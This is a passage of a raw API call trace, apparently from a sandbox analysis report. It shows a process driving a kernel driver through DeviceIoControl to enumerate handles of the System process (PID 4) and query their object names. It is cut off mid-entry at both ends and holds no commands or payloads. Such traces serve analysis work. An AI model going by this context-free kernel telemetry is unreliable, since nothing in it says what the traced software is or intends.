KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.852] PsReleaseProcessExitSynchronization () returned 0x2 [0088.852] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.852] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab8044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab8044, ReturnLength=0xfffff88005233508) returned 0x0 [0088.852] ObfDereferenceObject (Object=0xfffffa8010ff9f20) returned 0x1 [0088.852] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.852] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.852] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.852] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0088.852] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.852] PsAcquireProcessExitSynchronization () returned 0x0 [0088.852] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.852] ObReferenceObjectByHandle (in: Handle=0xffffffff80000088, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8007119050, HandleInformation=0x0) returned 0x0 [0088.852] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.852] PsReleaseProcessExitSynchronization () returned 0x2 [0088.852] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.852] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003ab9044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003ab9044, ReturnLength=0xfffff88005233508) returned 0x0 [0088.852] ObfDereferenceObject (Object=0xfffffa8007119050) returned 0x1 [0088.852] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.852] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.852] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.852] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xc2, lpOverlapped=0x0) returned 1 [0088.852] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.852] PsAcquireProcessExitSynchronization () returned 0x0 [0088.852] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.852] ObReferenceObjectByHandle (in: Handle=0xffffffff8000008c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f2b470, HandleInformation=0x0) returned 0x0 [0088.852] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.852] PsReleaseProcessExitSynchronization () returned 0x2 [0088.852] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.852] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003aba044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003aba044, ReturnLength=0xfffff88005233508) returned 0x0 [0088.853] ObfDereferenceObject (Object=0xfffffa8002f2b470) returned 0x21 [0088.853] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.853] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.853] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.853] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0088.853] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.853] PsAcquireProcessExitSynchronization () returned 0x0 [0088.853] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.853] ObReferenceObjectByHandle (in: Handle=0xffffffff8000009c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002964d20, HandleInformation=0x0) returned 0x0 [0088.853] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.853] PsReleaseProcessExitSynchronization () returned 0x2 [0088.853] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.853] ObQueryNameString (in: Object=0xfffffa8002964d20, ObjectNameInfo=0xfffffa8003abb044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003abb044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.853] ObfDereferenceObject (Object=0xfffffa8002964d20) returned 0x2 [0088.853] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.853] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.853] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.853] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0088.853] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.853] PsAcquireProcessExitSynchronization () returned 0x0 [0088.853] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.854] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002964050, HandleInformation=0x0) returned 0x0 [0088.854] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.854] PsReleaseProcessExitSynchronization () returned 0x2 [0088.854] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.854] ObQueryNameString (in: Object=0xfffffa8002964050, ObjectNameInfo=0xfffffa8003abc044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003abc044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.854] ObfDereferenceObject (Object=0xfffffa8002964050) returned 0x2 [0088.854] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.854] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.854] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.854] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0088.854] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.854] PsAcquireProcessExitSynchronization () returned 0x0 [0088.854] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.854] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002963890, HandleInformation=0x0) returned 0x0 [0088.854] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.854] PsReleaseProcessExitSynchronization () returned 0x2 [0088.854] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.854] ObQueryNameString (in: Object=0xfffffa8002963890, ObjectNameInfo=0xfffffa8003abd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003abd044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.854] ObfDereferenceObject (Object=0xfffffa8002963890) returned 0x1 [0088.854] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.854] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.854] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.854] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0088.854] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.854] PsAcquireProcessExitSynchronization () returned 0x0 [0088.854] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.854] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8010ff9540, HandleInformation=0x0) returned 0x0 [0088.855] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.855] PsReleaseProcessExitSynchronization () returned 0x2 [0088.855] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.855] ObQueryNameString (in: Object=0xfffffa8010ff9540, ObjectNameInfo=0xfffffa8003abe044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003abe044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.855] ObfDereferenceObject (Object=0xfffffa8010ff9540) returned 0x2 [0088.855] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.855] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.855] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.855] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0088.855] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.855] PsAcquireProcessExitSynchronization () returned 0x0 [0088.855] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.855] ObReferenceObjectByHandle (in: Handle=0xffffffff800000ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80111f0670, HandleInformation=0x0) returned 0x0 [0088.855] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.855] PsReleaseProcessExitSynchronization () returned 0x2 [0088.855] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.855] ObQueryNameString (in: Object=0xfffffa80111f0670, ObjectNameInfo=0xfffffa8003abf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003abf044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.855] ObfDereferenceObject (Object=0xfffffa80111f0670) returned 0x2 [0088.855] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.855] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.855] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.855] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0088.855] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.855] PsAcquireProcessExitSynchronization () returned 0x0 [0088.855] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.855] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80029627a0, HandleInformation=0x0) returned 0x0 [0088.855] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.855] PsReleaseProcessExitSynchronization () returned 0x2 [0088.855] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.855] ObQueryNameString (in: Object=0xfffffa80029627a0, ObjectNameInfo=0xfffffa8003ac0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac0044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.856] ObfDereferenceObject (Object=0xfffffa80029627a0) returned 0x1 [0088.856] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.856] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.856] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.856] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0088.856] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.856] PsAcquireProcessExitSynchronization () returned 0x0 [0088.856] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.856] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8010ff9a80, HandleInformation=0x0) returned 0x0 [0088.856] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.856] PsReleaseProcessExitSynchronization () returned 0x2 [0088.856] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.856] ObQueryNameString (in: Object=0xfffffa8010ff9a80, ObjectNameInfo=0xfffffa8003ac1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac1044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.856] ObfDereferenceObject (Object=0xfffffa8010ff9a80) returned 0x2 [0088.856] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.856] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.856] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.856] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0088.856] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.856] PsAcquireProcessExitSynchronization () returned 0x0 [0088.856] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.856] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028a8850, HandleInformation=0x0) returned 0x0 [0088.856] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.856] PsReleaseProcessExitSynchronization () returned 0x2 [0088.856] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.856] ObQueryNameString (in: Object=0xfffffa80028a8850, ObjectNameInfo=0xfffffa8003ac2044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac2044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.856] ObfDereferenceObject (Object=0xfffffa80028a8850) returned 0x2 [0088.856] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.857] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.857] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.857] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0088.857] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.857] PsAcquireProcessExitSynchronization () returned 0x0 [0088.857] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.857] ObReferenceObjectByHandle (in: Handle=0xffffffff800000bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002962e40, HandleInformation=0x0) returned 0x0 [0088.857] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.857] PsReleaseProcessExitSynchronization () returned 0x2 [0088.857] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.857] ObQueryNameString (in: Object=0xfffffa8002962e40, ObjectNameInfo=0xfffffa8003ac3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac3044, ReturnLength=0xfffff88005233550) returned 0x0 [0088.857] ObfDereferenceObject (Object=0xfffffa8002962e40) returned 0x3 [0088.857] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.857] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.857] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.857] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0088.857] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.857] PsAcquireProcessExitSynchronization () returned 0x0 [0088.857] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.857] ObReferenceObjectByHandle (in: Handle=0xffffffff800000c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8007591f20, HandleInformation=0x0) returned 0x0 [0088.857] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.857] PsReleaseProcessExitSynchronization () returned 0x2 [0088.857] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0088.857] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233508) returned 0x0 [0088.857] ObfDereferenceObject (Object=0xfffffa8007591f20) returned 0x1 [0088.857] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0088.858] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0088.858] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0088.858] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0088.858] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0088.858] PsAcquireProcessExitSynchronization () returned 0x0 [0088.858] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0088.858] ObReferenceObjectByHandle (in: Handle=0xffffffff80000100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002b6d5b0, HandleInformation=0x0) returned 0x0 [0088.858] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0088.858] PsReleaseProcessExitSynchronization () returned 0x2 [0089.147] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.147] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0089.147] ObfDereferenceObject (Object=0xfffffa8002b6d5b0) returned 0x1 [0089.147] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.147] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.147] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0089.147] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.147] PsAcquireProcessExitSynchronization () returned 0x0 [0089.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.148] ObReferenceObjectByHandle (in: Handle=0xffffffff80000104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002af4050, HandleInformation=0x0) returned 0x0 [0089.148] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.148] PsReleaseProcessExitSynchronization () returned 0x2 [0089.148] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.148] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.148] ObfDereferenceObject (Object=0xfffffa8002af4050) returned 0x1 [0089.148] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.148] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.148] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0089.148] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.148] PsAcquireProcessExitSynchronization () returned 0x0 [0089.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.148] ObReferenceObjectByHandle (in: Handle=0xffffffff80000108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002ff0b10, HandleInformation=0x0) returned 0x0 [0089.148] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.148] PsReleaseProcessExitSynchronization () returned 0x2 [0089.148] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.148] ObQueryNameString (in: Object=0xfffffa8002ff0b10, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.148] ObfDereferenceObject (Object=0xfffffa8002ff0b10) returned 0x1 [0089.148] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.148] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.148] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.148] DeviceIoControl (in: hDevice=0x7c, 